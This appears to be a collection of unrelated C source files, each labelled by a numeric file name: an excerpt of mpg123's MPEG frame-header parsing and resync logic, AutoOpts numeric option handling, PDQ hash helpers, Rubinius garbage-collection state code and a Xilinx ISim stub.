(fr->p.halfspeed) { if(fr->halfphase) /* repeat last frame */ { debug("repeat!"); fr->to_decode = fr->to_ignore = TRUE; --fr->halfphase; fr->bitindex = 0; fr->wordpointer = (unsigned char *) fr->bsbuf; if(fr->lay == 3) memcpy (fr->bsbuf, fr->ssave, fr->ssize); if(fr->error_protection) fr->crc = getbits(fr, 16); /* skip crc */ return 1; } else { fr->halfphase = fr->p.halfspeed - 1; } } read_again: /* In case we are looping to find a valid frame, discard any buffered data before the current position. This is essential to prevent endless looping, always going back to the beginning when feeder buffer is exhausted. */ if(fr->rd->forget != NULL) fr->rd->forget(fr); debug2("trying to get frame %"OFF_P" at %"OFF_P, (off_p)fr->num+1, (off_p)fr->rd->tell(fr)); if((ret = fr->rd->head_read(fr,&newhead)) <= 0){ debug("need more?"); goto read_frame_bad;} init_resync: fr->header_change = 2; /* output format change is possible... */ if(fr->oldhead) /* check a following header for change */ { if(fr->oldhead == newhead) fr->header_change = 0; else /* If they have the same sample rate. Note that only is _not_ the case for the first header, as we enforce sample rate match for following frames. So, during one stream, only change of stereoness is possible and indicated by header_change == 2. */ if((fr->oldhead & HDRSAMPMASK) == (newhead & HDRSAMPMASK)) { /* Now if both channel modes are mono or both stereo, it's no big deal. */ if( header_mono(fr->oldhead) == header_mono(newhead)) fr->header_change = 1; } } #ifdef SKIP_JUNK /* watch out for junk/tags on beginning of stream by invalid header */ if(!fr->firsthead && !head_check(newhead)) { /* check for id3v2; first three bytes (of 4) are "ID3" */ if((newhead & (unsigned long) 0xffffff00) == (unsigned long) 0x49443300) { int id3ret = 0; id3ret = parse_new_id3(fr, newhead); if (id3ret < 0){ debug("need more?"); ret = id3ret; goto read_frame_bad; } #ifndef NO_ID3V2 else if(id3ret > 0){ debug("got ID3v2"); fr->metaflags |= MPG123_NEW_ID3|MPG123_ID3; } else debug("no useful ID3v2"); #endif fr->oldhead = 0; goto read_again; /* Also in case of invalid ID3 tag (ret==0), try to get on track again. */ } else if(VERBOSE2 && fr->silent_resync == 0) fprintf(stderr,"Note: Junk at the beginning (0x%08lx)\n",newhead); /* I even saw RIFF headers at the beginning of MPEG streams ;( */ if(newhead == ('R'<<24)+('I'<<16)+('F'<<8)+'F') { if(VERBOSE2 && fr->silent_resync == 0) fprintf(stderr, "Note: Looks like a RIFF header.\n"); if((ret=fr->rd->head_read(fr,&newhead))<=0){ debug("need more?"); goto read_frame_bad; } while(newhead != ('d'<<24)+('a'<<16)+('t'<<8)+'a') { if((ret=fr->rd->head_shift(fr,&newhead))<=0){ debug("need more?"); goto read_frame_bad; } } if((ret=fr->rd->head_read(fr,&newhead))<=0){ debug("need more?"); goto read_frame_bad; } if(VERBOSE2 && fr->silent_resync == 0) fprintf(stderr,"Note: Skipped RIFF header!\n"); fr->oldhead = 0; goto read_again; } /* unhandled junk... just continue search for a header */ /* step in byte steps through next 64K */ debug("searching for header..."); ret = 0; /* We will check the value after the loop. */ for(; headcount<65536; headcount++) { if((ret=fr->rd->head_shift(fr,&newhead))<=0){ debug("need more?"); goto read_frame_bad; } /* if(head_check(newhead)) */ if(head_check(newhead) && (ret=decode_header(fr, newhead))) break; } if(ret<0){ debug("need more?"); goto read_frame_bad; } if(headcount == 65536) { if(NOQUIET) error("Giving up searching valid MPEG header after (over) 64K of junk."); return 0; } else debug1("hopefully found one at %"OFF_P, (off_p)fr->rd->tell(fr)); /* * should we additionaly check, whether a new frame starts at * the next expected position? (some kind of read ahead) * We could implement this easily, at least for files. */ } #endif /* first attempt of read ahead check to find the real first header; cannot believe what junk is out there! */ if(!fr->firsthead && fr->rdat.flags & (READER_SEEKABLE|READER_BUFFERED) && head_check(newhead) && (ret=decode_header(fr, newhead))) { unsigned long nexthead = 0; int hd = 0; off_t start = fr->rd->tell(fr); if(ret<0){ debug("need more?"); goto read_frame_bad; } debug2("doing ahead check with BPF %d at %"OFF_P, fr->framesize+4, (off_p)start); /* step framesize bytes forward and read next possible header*/ if((oret=fr->rd->skip_bytes(fr, fr->framesize))<0) { if(oret==READER_ERROR && NOQUIET) error("cannot seek!"); ret = oret; /* Purposeful negative values aren't big. */ goto read_frame_bad; } hd = fr->rd->head_read(fr,&nexthead); if(hd==MPG123_NEED_MORE){ debug("need more?"); ret = hd; goto read_frame_bad; } if((ret=fr->rd->back_bytes(fr, fr->rd->tell(fr)-start))<0) { if(ret==READER_ERROR && NOQUIET) error("cannot seek!"); else debug("need more?"); goto read_frame_bad; } debug1("After fetching next header, at %"OFF_P, (off_p)fr->rd->tell(fr)); if(!hd) { if(NOQUIET) warning("cannot read next header, a one-frame stream? Duh..."); } else { debug2("does next header 0x%08lx match first 0x%08lx?", nexthead, newhead); /* not allowing free format yet */ if(!head_check(nexthead) || (nexthead & HDRCMPMASK) != (newhead & HDRCMPMASK)) { debug("No, the header was not valid, start from beginning..."); fr->oldhead = 0; /* start over */ /* try next byte for valid header */ if((ret=fr->rd->back_bytes(fr, 3))<0) { if(NOQUIET) error("cannot seek!"); else debug("need more?"); goto read_frame_bad; } goto read_again; } } } /* Why has this head check been avoided here before? And apart from that: Tricky business: Bug 3267863 triggers endless loop because an invalid free format header does not trigger head_check(), hence does not trigger resync. This whole logic is going to be reworked, code untangled, but 1.13.3 needs some minimal patching. So we try to fully decode the header (which includes free format size checking), not just check. */ /* Check in advance to avoid premature error message in decode_header() */ ret = head_check(newhead); if(ret) { ret = decode_header(fr, newhead); if(ret < 0) goto read_frame_bad; } if(!ret) { /* and those ugly ID3 tags */ if((newhead & 0xffffff00) == ('T'<<24)+('A'<<16)+('G'<<8)) { fr->id3buf[0] = (unsigned char) ((newhead >> 24) & 0xff); fr->id3buf[1] = (unsigned char) ((newhead >> 16) & 0xff); fr->id3buf[2] = (unsigned char) ((newhead >> 8) & 0xff); fr->id3buf[3] = (unsigned char) ( newhead & 0xff); if((ret=fr->rd->fullread(fr,fr->id3buf+4,124)) < 0){ debug("need more?"); goto read_frame_bad; } fr->metaflags |= MPG123_NEW_ID3|MPG123_ID3; fr->rdat.flags |= READER_ID3TAG; /* that marks id3v1 */ if (VERBOSE3) fprintf(stderr,"Note: Skipped ID3v1 tag.\n"); goto read_again; } /* duplicated code from above! */ /* check for id3v2; first three bytes (of 4) are "ID3" */ if((newhead & (unsigned long) 0xffffff00) == (unsigned long) 0x49443300) { int id3length = 0; id3length = parse_new_id3(fr, newhead); if(id3length < 0){ debug("need more?"); ret = id3length; goto read_frame_bad; } fr->metaflags |= MPG123_NEW_ID3|MPG123_ID3; goto read_again; } else if(NOQUIET && fr->silent_resync == 0) { fprintf(stderr,"Note: Illegal Audio-MPEG-Header 0x%08lx at offset %"OFF_P".\n", newhead, (off_p)fr->rd->tell(fr)-4); } /* We reach this point only for invalid headers. And: All paths lead to a jump out of this block! So there is no "after". */ if(NOQUIET && (newhead & 0xffffff00) == ('b'<<24)+('m'<<16)+('p'<<8)) fprintf(stderr,"Note: Could be a BMP album art.\n"); /* Do resync if not forbidden by flag. I used to have a check for not-icy-meta here, but concluded that the desync issues came from a reader bug, not the stream. */ if( !(fr->p.flags & MPG123_NO_RESYNC) ) { long try = 0; long limit = fr->p.resync_limit; /* If a resync is needed the bitreservoir of previous frames is no longer valid */ fr->bitreservoir = 0; /* TODO: make this more robust, I'd like to cat two mp3 fragments together (in a dirty way) and still have mpg123 beign able to decode all it somehow. */ if(NOQUIET && fr->silent_resync == 0) fprintf(stderr, "Note: Trying to resync...\n"); /* Read more bytes until we find something that looks reasonably like a valid header. This is not a perfect strategy, but it should get us back on the track within a short time (and hopefully without too much distortion in the audio output). */ do { ++try; if(limit >= 0 && try >= limit) break; if((ret=fr->rd->head_shift(fr,&newhead)) <= 0) { debug("need more?"); if(NOQUIET) fprintf (stderr, "Note: Hit end of (available) data during resync.\n"); goto read_frame_bad; } if(VERBOSE3) debug3("resync try %li at %"OFF_P", got newhead 0x%08lx", try, (off_p)fr->rd->tell(fr), newhead); if(!fr->oldhead) { debug("going to init_resync..."); goto init_resync; /* "considered harmful", eh? */ } /* we should perhaps collect a list of valid headers that occured in file... there can be more */ /* Michael's new resync routine seems to work better with the one frame readahead (and some input buffering?) */ } while ( !head_check(newhead) /* Simply check for any valid header... we have the readahead to get it straight now(?) */ /* (newhead & HDRCMPMASK) != (fr->oldhead & HDRCMPMASK) && (newhead & HDRCMPMASK) != (fr->firsthead & HDRCMPMASK)*/ ); /* too many false positives }while (!(head_check(newhead) && decode_header(fr, newhead))); */ if(NOQUIET && fr->silent_resync == 0) fprintf (stderr, "Note: Skipped %li bytes in input.\n", try); if(limit >= 0 && try >= limit) { if(NOQUIET) error1("Giving up resync after %li bytes - your stream is not nice... (maybe increasing resync limit could help).", try); fr->err = MPG123_RESYNC_FAIL; return READER_ERROR; } else { debug1("Found valid header 0x%lx... unsetting firsthead to reinit stream.", newhead); fr->firsthead = 0; goto init_resync; } } else { if(NOQUIET) error("not attempting to resync..."); fr->err = MPG123_OUT_OF_SYNC; return READER_ERROR; } } /* There used to be code here ... and turned out to be totally redundant. */ /* Past this point we know the header is good and we can start reading in the actual frame. */ /* if filepos is invalid, so is framepos */ framepos = fr->rd->tell(fr) - 4; /* flip/init buffer for Layer 3 */ { unsigned char *newbuf = fr->bsspace[fr->bsnum]+512; /* read main data into memory */ if((ret=fr->rd->read_frame_body(fr,newbuf,fr->framesize))<0) { /* if failed: flip back */ debug("need more?"); goto read_frame_bad; } fr->bsbufold = fr->bsbuf; fr->bsbuf = newbuf; } fr->bsnum = (fr->bsnum + 1) & 1; if(!fr->firsthead) { fr->firsthead = newhead; /* _now_ it's time to store it... the first real header */ /* This is the first header of our current stream segment. It is only the actual first header of the whole stream when fr->num is still below zero! Think of resyncs where firsthead has been reset for format flexibility. */ if(fr->num < 0) { fr->audio_start = framepos; /* Only check for LAME tag at beginning of whole stream ... when there indeed is one in between, it's the user's problem. */ if(fr->lay == 3 && check_lame_tag(fr) == 1) { /* ...in practice, Xing/LAME tags are layer 3 only. */ if(fr->rd->forget != NULL) fr->rd->forget(fr); fr->oldhead = 0; goto read_again; } /* now adjust volume */ do_rva(fr); } debug2("fr->firsthead: %08lx, audio_start: %li", fr->firsthead, (long int)fr->audio_start); } fr->bitindex = 0; fr->wordpointer = (unsigned char *) fr->bsbuf; /* Question: How bad does the floating point value get with repeated recomputation? Also, considering that we can play the file or parts of many times. */ if(++fr->mean_frames != 0) { fr->mean_framesize = ((fr->mean_frames-1)*fr->mean_framesize+compute_bpf(fr)) / fr->mean_frames ; } ++fr->num; /* 0 for first frame! */ debug4("Frame %"OFF_P" %08lx %i, next filepos=%"OFF_P, (off_p)fr->num, newhead, fr->framesize, (off_p)fr->rd->tell(fr)); /* save for repetition */ if(fr->p.halfspeed && fr->lay == 3) { debug("halfspeed - reusing old bsbuf "); memcpy (fr->ssave, fr->bsbuf, fr->ssize); } /* index the position */ #ifdef FRAME_INDEX /* Keep track of true frame positions in our frame index. but only do so when we are sure that the frame number is accurate... */ if(fr->accurate && FI_NEXT(fr->index, fr->num)) fi_add(&fr->index, framepos); #endif if(fr->silent_resync > 0) --fr->silent_resync; if(fr->rd->forget != NULL) fr->rd->forget(fr); fr->to_decode = fr->to_ignore = TRUE; if(fr->error_protection) fr->crc = getbits(fr, 16); /* skip crc */ return 1; read_frame_bad: /* Also if we searched for valid data in vain, we can forget skipped data. Otherwise, the feeder would hold every dead old byte in memory until the first valid frame! */ if(fr->rd->forget != NULL) fr->rd->forget(fr); fr->silent_resync = 0; if(fr->err == MPG123_OK) fr->err = MPG123_ERR_READER; fr->framesize = oldsize; fr->halfphase = oldphase; /* That return code might be inherited from some feeder action, or reader error. */ return ret; } /* * read ahead and find the next MPEG header, to guess framesize * return value: success code * 1: found a valid frame size (stored in the handle). * <0: error codes, possibly from feeder buffer (NEED_MORE) * 0: cannot get the framesize for some reason and shall silentry try the next possible header (if this is no free format stream after all...) */ static int guess_freeformat_framesize(mpg123_handle *fr) { long i; int ret; unsigned long head; if(!(fr->rdat.flags & (READER_SEEKABLE|READER_BUFFERED))) { if(NOQUIET) error("Cannot look for freeformat frame size with non-seekable and non-buffered stream!"); return 0; } if((ret=fr->rd->head_read(fr,&head))<=0) return ret; /* We are already 4 bytes into it */ /* fix that limit to be absolute for the first header search! */ for(i=4;i<65536;i++) { if((ret=fr->rd->head_shift(fr,&head))<=0) { return ret; } if(head_check(head)) { int sampling_frequency,mpeg25,lsf; if(head & (1<<20)) { lsf = (head & (1<<19)) ? 0x0 : 0x1; mpeg25 = 0; } else { lsf = 1; mpeg25 = 1; } if(mpeg25) sampling_frequency = 6 + ((head>>10)&0x3); else sampling_frequency = ((head>>10)&0x3) + (lsf*3); if((lsf==fr->lsf) && (mpeg25==fr->mpeg25) && (sampling_frequency == fr->sampling_frequency)) { fr->rd->back_bytes(fr,i+1); fr->framesize = i-3; return 1; /* Success! */ } } } fr->rd->back_bytes(fr,i); return 0; } /* * decode a header and write the information * into the frame structure * Return values are compatible with those of read_frame, namely: * 1: success * 0: no valid header * <0: some error */ static int decode_header(mpg123_handle *fr,unsigned long newhead) { if(!head_check(newhead)) { if(NOQUIET) error("tried to decode obviously invalid header"); return 0; } if( newhead & (1<<20) ) { fr->lsf = (newhead & (1<<19)) ? 0x0 : 0x1; fr->mpeg25 = 0; } else { fr->lsf = 1; fr->mpeg25 = 1; } if( (fr->p.flags & MPG123_NO_RESYNC) || !fr->oldhead || (((fr->oldhead>>19)&0x3) ^ ((newhead>>19)&0x3)) ) { /* If "tryresync" is false, assume that certain parameters do not change within the stream! Force an update if lsf or mpeg25 settings have changed. */ fr->lay = 4-((newhead>>17)&3); if( ((newhead>>10)&0x3) == 0x3) { if(NOQUIET) error("Stream error"); return 0; /* exit() here really is too much, isn't it? */ } if(fr->mpeg25) fr->sampling_frequency = 6 + ((newhead>>10)&0x3); else fr->sampling_frequency = ((newhead>>10)&0x3) + (fr->lsf*3); } #ifdef DEBUG if((((newhead>>16)&0x1)^0x1) != fr->error_protection) debug("changed crc bit!"); #endif fr->error_protection = ((newhead>>16)&0x1)^0x1; /* seen a file where this varies (old lame tag without crc, track with crc) */ fr->bitrate_index = ((newhead>>12)&0xf); fr->padding = ((newhead>>9)&0x1); fr->extension = ((newhead>>8)&0x1); fr->mode = ((newhead>>6)&0x3); fr->mode_ext = ((newhead>>4)&0x3); fr->copyright = ((newhead>>3)&0x1); fr->original = ((newhead>>2)&0x1); fr->emphasis = newhead & 0x3; fr->freeformat = free_format_header(newhead); fr->stereo = (fr->mode == MPG_MD_MONO) ? 1 : 2; fr->oldhead = newhead; /* we can't use tabsel_123 for freeformat, so trying to guess framesize... */ if(fr->freeformat) { /* when we first encounter the frame with freeformat, guess framesize */ if(fr->freeformat_framesize < 0) { int ret; ret = guess_freeformat_framesize(fr); if(ret>0) { fr->freeformat_framesize = fr->framesize - fr->padding; if(VERBOSE2) fprintf(stderr, "Note: free format frame size %li\n", fr->freeformat_framesize); } else { if(ret == MPG123_NEED_MORE) debug("Need more data to guess free format frame size."); else error("Encountered free format header, but failed to guess frame size."); return ret; } } /* freeformat should be CBR, so the same framesize can be used at the 2nd reading or later */ else { fr->framesize = fr->freeformat_framesize + fr->padding; } } switch(fr->lay) { #ifndef NO_LAYER1 case 1: fr->do_layer = do_layer1; if(!fr->freeformat) { fr->framesize = (long) tabsel_123[fr->lsf][0][fr->bitrate_index] * 12000; fr->framesize /= freqs[fr->sampling_frequency]; fr->framesize = ((fr->framesize+fr->padding)<<2)-4; } break; #endif #ifndef NO_LAYER2 case 2: fr->do_layer = do_layer2; if(!fr->freeformat) { debug2("bitrate index: %i (%i)", fr->bitrate_index, tabsel_123[fr->lsf][1][fr->bitrate_index] ); fr->framesize = (long) tabsel_123[fr->lsf][1][fr->bitrate_index] * 144000; fr->framesize /= freqs[fr->sampling_frequency]; fr->framesize += fr->padding - 4; } break; #endif #ifndef NO_LAYER3 case 3: fr->do_layer = do_layer3; if(fr->lsf) fr->ssize = (fr->stereo == 1) ? 9 : 17; else fr->ssize = (fr->stereo == 1) ? 17 : 32; if(fr->error_protection) fr->ssize += 2; if(!fr->freeformat) { fr->framesize = (long) tabsel_123[fr->lsf][2][fr->bitrate_index] * 144000; fr->framesize /= freqs[fr->sampling_frequency]<<(fr->lsf); fr->framesize = fr->framesize + fr->padding - 4; } break; #endif default: if(NOQUIET) error1("Layer type %i not supported in this build!", fr->lay); return 0; } if (fr->framesize > MAXFRAMESIZE) { if(NOQUIET) error1("Frame size too big: %d", fr->framesize+4-fr->padding); return (0); } return 1; } void set_pointer(mpg123_handle *fr, long backstep) { fr->wordpointer = fr->bsbuf + fr->ssize - backstep; if (backstep) memcpy(fr->wordpointer,fr->bsbufold+fr->fsizeold-backstep,backstep); fr->bitindex = 0; } /********************************/ double compute_bpf(mpg123_handle *fr) { double bpf; switch(fr->lay) { case 1: bpf = tabsel_123[fr->lsf][0][fr->bitrate_index]; bpf *= 12000.0 * 4.0; bpf /= freqs[fr->sampling_frequency] <<(fr->lsf); break; case 2: case 3: bpf = tabsel_123[fr->lsf][fr->lay-1][fr->bitrate_index]; bpf *= 144000; bpf /= freqs[fr->sampling_frequency] << (fr->lsf); break; default: bpf = 1.0; } return bpf; } double attribute_align_arg mpg123_tpf(mpg123_handle *fr) { static int bs[4] = { 0,384,1152,1152 }; double tpf; if(fr == NULL) return -1; tpf = (double) bs[fr->lay]; tpf /= freqs[fr->sampling_frequency] << (fr->lsf); return tpf; } int attribute_align_arg mpg123_position(mpg123_handle *fr, off_t no, off_t buffsize, off_t *current_frame, off_t *frames_left, double *current_seconds, double *seconds_left) { double tpf; double dt = 0.0; off_t cur, left; double curs, lefts; if(!fr || !fr->rd) /* Isn't this too paranoid? */ { debug("reader troubles!"); return MPG123_ERR; } no += fr->num; /* no starts out as offset */ cur = no; tpf = mpg123_tpf(fr); if(buffsize > 0 && fr->af.rate > 0 && fr->af.channels > 0) { dt = (double) buffsize / fr->af.rate / fr->af.channels; if(fr->af.encoding & MPG123_ENC_16) dt *= 0.5; } left = 0; if((fr->track_frames != 0) && (fr->track_frames >= fr->num)) left = no < fr->track_frames ? fr->track_frames - no : 0; else if(fr->rdat.filelen >= 0) { double bpf; off_t t = fr->rd->tell(fr); bpf = fr->mean_framesize ? fr->mean_framesize : compute_bpf(fr); left = (off_t)((double)(fr->rdat.filelen-t)/bpf); /* no can be different for prophetic purposes, file pointer is always associated with fr->num! */ if(fr->num != no) { if(fr->num > no) left += fr->num - no; else { if(left >= (no - fr->num)) left -= no - fr->num; else left = 0; /* uh, oh! */ } } /* I totally don't understand why we should re-estimate the given correct(?) value */ /* fr->num = (unsigned long)((double)t/bpf); */ } /* beginning with 0 or 1?*/ curs = (double) no*tpf-dt; lefts = (double)left*tpf+dt; #if 0 curs = curs < 0 ? 0.0 : curs; #endif if(left < 0 || lefts < 0) { /* That is the case for non-seekable streams. */ left = 0; lefts = 0.0; } if(current_frame != NULL) *current_frame = cur; if(frames_left != NULL) *frames_left = left; if(current_seconds != NULL) *current_seconds = curs; if(seconds_left != NULL) *seconds_left = lefts; return MPG123_OK; } int get_songlen(mpg123_handle *fr,int no) { double tpf; if(!fr) return 0; if(no < 0) { if(!fr->rd || fr->rdat.filelen < 0) return 0; no = (int) ((double) fr->rdat.filelen / compute_bpf(fr)); } tpf = mpg123_tpf(fr); return (int) (no*tpf); }
695739.c
/** * \file numeric.c * * Handle options with numeric (integer) arguments. * * @addtogroup autoopts * @{ */ /* * This file is part of AutoOpts, a companion to AutoGen. * AutoOpts is free software. * AutoOpts is Copyright (C) 1992-2016 by Bruce Korb - all rights reserved * * AutoOpts is available under any one of two licenses. The license * in use must be one of these two and the choice is under the control * of the user of the license. * * The GNU Lesser General Public License, version 3 or later * See the files "COPYING.lgplv3" and "COPYING.gplv3" * * The Modified Berkeley Software Distribution License * See the file "COPYING.mbsd" * * These files have the following sha256 sums: * * 8584710e9b04216a394078dc156b781d0b47e1729104d666658aecef8ee32e95 COPYING.gplv3 * 4379e7444a0e2ce2b12dd6f5a52a27a4d02d39d247901d3285c88cf0d37f477b COPYING.lgplv3 * 13aa749a5b0a454917a944ed8fffc530b784f5ead522b1aacaf4ec8aa55a6239 COPYING.mbsd */ /*=export_func optionShowRange * private: * * what: Show info about range constraints * arg: + tOptions * + pOpts + program options descriptor + * arg: + tOptDesc * + pOptDesc + the descriptor for this arg + * arg: + void * + rng_table + the value range tables + * arg: + int + rng_count + the number of entries + * * doc: * Show information about a numeric option with range constraints. =*/ void optionShowRange(tOptions * pOpts, tOptDesc * pOD, void * rng_table, int rng_ct) { const struct {long const rmin, rmax;} * rng = rng_table; char const * pz_indent = zTabHyp + tab_skip_ct; /* * The range is shown only for full usage requests and an error * in this particular option. */ if (pOpts != OPTPROC_EMIT_USAGE) { if (pOpts <= OPTPROC_EMIT_LIMIT) return; pz_indent = ONE_TAB_STR; fprintf(option_usage_fp, zRangeErr, pOpts->pzProgName, pOD->pz_Name, pOD->optArg.argInt); pz_indent = ""; } if (pOD->fOptState & OPTST_SCALED_NUM) fprintf(option_usage_fp, zRangeScaled, pz_indent); fprintf(option_usage_fp, (rng_ct > 1) ? zRangeLie : zRangeOnly, pz_indent); pz_indent = (pOpts != OPTPROC_EMIT_USAGE) ? ONE_TAB_STR : (zTabSpace + tab_skip_ct); for (;;) { if (rng->rmax == LONG_MIN) fprintf(option_usage_fp, zRangeExact, pz_indent, rng->rmin); else if (rng->rmin == LONG_MIN) fprintf(option_usage_fp, zRangeUpto, pz_indent, rng->rmax); else if (rng->rmax == LONG_MAX) fprintf(option_usage_fp, zRangeAbove, pz_indent, rng->rmin); else fprintf(option_usage_fp, zRange, pz_indent, rng->rmin, rng->rmax); if (--rng_ct <= 0) { fputc(NL, option_usage_fp); break; } fputs(zRangeOr, option_usage_fp); rng++; } if (pOpts > OPTPROC_EMIT_LIMIT) pOpts->pUsageProc(pOpts, EXIT_FAILURE); } /*=export_func optionNumericVal * private: * * what: process an option with a numeric value. * arg: + tOptions * + opts + program options descriptor + * arg: + tOptDesc * + od + the descriptor for this arg + * * doc: * Decipher a numeric value. =*/ void optionNumericVal(tOptions * opts, tOptDesc * od) { char * pz; long val; /* * Guard against all the different ways this procedure might get invoked * when there is no string argument provided. */ if (INQUERY_CALL(opts, od) || (od->optArg.argString == NULL)) return; /* * Numeric options may have a range associated with it. * If it does, the usage procedure requests that it be * emitted by passing a NULL od pointer. Also bail out * if there is no option argument or if we are being reset. */ if ( (od == NULL) || (od->optArg.argString == NULL) || ((od->fOptState & OPTST_RESET) != 0) || (opts <= OPTPROC_EMIT_LIMIT)) return; errno = 0; val = strtol(od->optArg.argString, &pz, 0); if ((pz == od->optArg.argString) || (errno != 0)) goto bad_number; if ((od->fOptState & OPTST_SCALED_NUM) != 0) switch (*(pz++)) { case NUL: pz--; break; case 't': val *= 1000; /* fall through */ case 'g': val *= 1000; /* fall through */ case 'm': val *= 1000; /* fall through */ case 'k': val *= 1000; break; case 'T': val *= 1024; /* fall through */ case 'G': val *= 1024; /* fall through */ case 'M': val *= 1024; /* fall through */ case 'K': val *= 1024; break; default: goto bad_number; } if (*pz != NUL) goto bad_number; if (od->fOptState & OPTST_ALLOC_ARG) { AGFREE(od->optArg.argString); od->fOptState &= ~OPTST_ALLOC_ARG; } od->optArg.argInt = val; return; bad_number: fprintf( stderr, zNotNumber, opts->pzProgName, od->optArg.argString ); if ((opts->fOptSet & OPTPROC_ERRSTOP) != 0) (*(opts->pUsageProc))(opts, EXIT_FAILURE); errno = EINVAL; od->optArg.argInt = ~0; } /** @} * * Local Variables: * mode: C * c-file-style: "stroustrup" * indent-tabs-mode: nil * End: * end of autoopts/numeric.c */
940113.c
#include "pdqhashtypes.h" #include <stdio.h> #include <stdlib.h> #include <string.h> // ---------------------------------------------------------------- void Hash256Clear(Hash256* phash) { for (int i = 0; i < HASH256_NUM_WORDS; i++) { phash->w[i] = 0; } } // ---------------------------------------------------------------- void Hash256SetBit(Hash256* phash, int k) { phash->w[(k & 255) >> 4] ^= 1 << (k & 15); } static const char hash256_format[] = "%04hx%04hx%04hx%04hx%04hx%04hx%04hx%04hx" "%04hx%04hx%04hx%04hx%04hx%04hx%04hx%04hx"; // ---------------------------------------------------------------- // Buffer should have length HASH256_TEXT_LENGTH char* Hash256Format(Hash256* phash, char* buffer) { snprintf(buffer, HASH256_TEXT_LENGTH, hash256_format, phash->w[15], phash->w[14], phash->w[13], phash->w[12], phash->w[11], phash->w[10], phash->w[9], phash->w[8], phash->w[7], phash->w[6], phash->w[5], phash->w[4], phash->w[3], phash->w[2], phash->w[1], phash->w[0] ); return buffer; }
967655.c
#include "shotgun.h" #include <stdlib.h> #include <string.h> #include "cpu.h" #include <sys/time.h> #include "cleanup_hash.h" #include "config_hash.h" rstate rubinius_state_new() { rstate st; st = (rstate)calloc(1, sizeof(struct rubinius_state)); st->om = object_memory_new(); st->free_contexts = ptr_array_new(8); st->global = (struct rubinius_globals*)calloc(1, sizeof(struct rubinius_globals)); st->cleanup = ht_cleanup_create(11); st->config = ht_config_create(11); return st; } static ptr_array _gather_roots(STATE, cpu c) { ptr_array roots; roots = ptr_array_new(NUM_OF_GLOBALS + 100); memcpy(roots->array, state->global, sizeof(struct rubinius_globals)); roots->length = NUM_OF_GLOBALS; cpu_add_roots(state, c, roots); /* truncate the free_context list since we don't care about them after we've collected anyway */ return roots; } void cpu_sampler_suspend(STATE); void cpu_sampler_resume(STATE); void cpu_hard_cache(STATE, cpu c); void state_collect(STATE, cpu c) { ptr_array roots; int stats = state->gc_stats; struct timeval start, fin; if(stats) { gettimeofday(&start, NULL); } c->context_cache = 0; ptr_array_clear(state->free_contexts); cpu_flush_ip(c); cpu_flush_sp(c); state->current_stack = c->stack_top; state->current_sp = c->sp_ptr; /* HACK: external_ivars needs to be moved out of being a generic global and being a special case one so that it's references can't keep objects alive. */ cpu_sampler_suspend(state); object_memory_formalize_contexts(state, state->om); roots = _gather_roots(state, c); object_memory_collect(state, state->om, roots); memcpy(state->global, roots->array, sizeof(struct rubinius_globals)); cpu_update_roots(state, c, roots, NUM_OF_GLOBALS); ptr_array_free(roots); baker_gc_find_lost_souls(state, state->om->gc); cpu_sampler_resume(state); if(stats) { double elapse; gettimeofday(&fin, NULL); elapse = (fin.tv_sec - start.tv_sec); elapse += (((double)fin.tv_usec - start.tv_usec) / 1000000); printf("[GC Y %f secs, %dK total, %3dK used, %4d tenured, %d]\n", elapse, (state->om->gc->current->size / 1024), (int)(((uintptr_t)state->om->gc->current->current - (uintptr_t)state->om->gc->current->address) / 1024), state->om->last_tenured, state->om->gc->num_collection ); } cpu_hard_cache(state, c); cpu_cache_sp(c); } void state_major_collect(STATE, cpu c) { ptr_array roots; int stats = state->gc_stats; struct timeval start, fin; state_collect(state, c); if(stats) { gettimeofday(&start, NULL); } cpu_flush_ip(c); cpu_flush_sp(c); c->context_cache = 0; ptr_array_clear(state->free_contexts); /* HACK: external_ivars needs to be moved out of being a generic global and being a special case one so that it's references can't keep objects alive. */ state->current_stack = c->stack_top; state->current_sp = c->sp_ptr; cpu_sampler_suspend(state); roots = _gather_roots(state, c); object_memory_major_collect(state, state->om, roots); memcpy(state->global, roots->array, sizeof(struct rubinius_globals)); cpu_update_roots(state, c, roots, NUM_OF_GLOBALS); ptr_array_free(roots); cpu_sampler_suspend(state); if(stats) { double elapse; gettimeofday(&fin, NULL); elapse = (fin.tv_sec - start.tv_sec); elapse += (((double)fin.tv_usec - start.tv_usec) / 1000000); printf("[GC M %f secs, %d freed, %d total, %d segments, %6dK total]\n", elapse, state->om->ms->last_freed, state->om->ms->last_marked, state->om->ms->num_chunks, state->om->ms->allocated_bytes / 1024 ); } cpu_hard_cache(state, c); cpu_cache_sp(c); } void state_object_become(STATE, cpu c, OBJECT from, OBJECT to) { ptr_array roots; c->context_cache = 0; ptr_array_clear(state->free_contexts); state->current_stack = c->stack_top; state->current_sp = c->sp_ptr; roots = _gather_roots(state, c); object_memory_setup_become(state, state->om, from, to); /* If from is young, then all the refs are from other young objects or the remember set, so we just need to mutate in the young space. */ if(from->gc_zone == YoungObjectZone) { object_memory_collect(state, state->om, roots); } else { object_memory_major_collect(state, state->om, roots); } object_memory_clear_become(state, state->om); memcpy(state->global, roots->array, sizeof(struct rubinius_globals)); cpu_update_roots(state, c, roots, NUM_OF_GLOBALS); ptr_array_free(roots); } void state_add_cleanup(STATE, OBJECT cls, state_cleanup_func func) { ht_cleanup_insert(state->cleanup, module_get_name(cls), func); // printf("Registered cleanup for %p\n", module_get_name(cls)); class_set_needs_cleanup(cls, Qtrue); } void state_run_cleanup(STATE, OBJECT obj, OBJECT cls) { state_cleanup_func func; if(!REFERENCE_P(cls)) return; // printf("Cleaning up %p (%s, %p)\n", obj, _inspect(cls), module_get_name(cls)); func = ht_cleanup_search(state->cleanup, module_get_name(cls)); if(func) { func(state, obj); } }
523114.c
/**********************************************************************/ /* ____ ____ */ /* / /\/ / */ /* /___/ \ / */ /* \ \ \/ */ /* \ \ Copyright (c) 2003-2009 Xilinx, Inc. */ /* / / All Right Reserved. */ /* /---/ /\ */ /* \ \ / \ */ /* \___\/\___\ */ /***********************************************************************/ /* This file is designed for use with ISim build 0x2f00eba5 */ #define XSI_HIDE_SYMBOL_SPEC true #include "xsi.h" #include <memory.h> #ifdef __GNUC__ #include <stdlib.h> #else #include <malloc.h> #define alloca _alloca #endif extern void work_a_2081551473_3212880686_init() { xsi_register_didat("work_a_2081551473_3212880686", "isim/DECODE_Test_isim_beh.exe.sim/work/a_2081551473_3212880686.didat"); }
782588.c
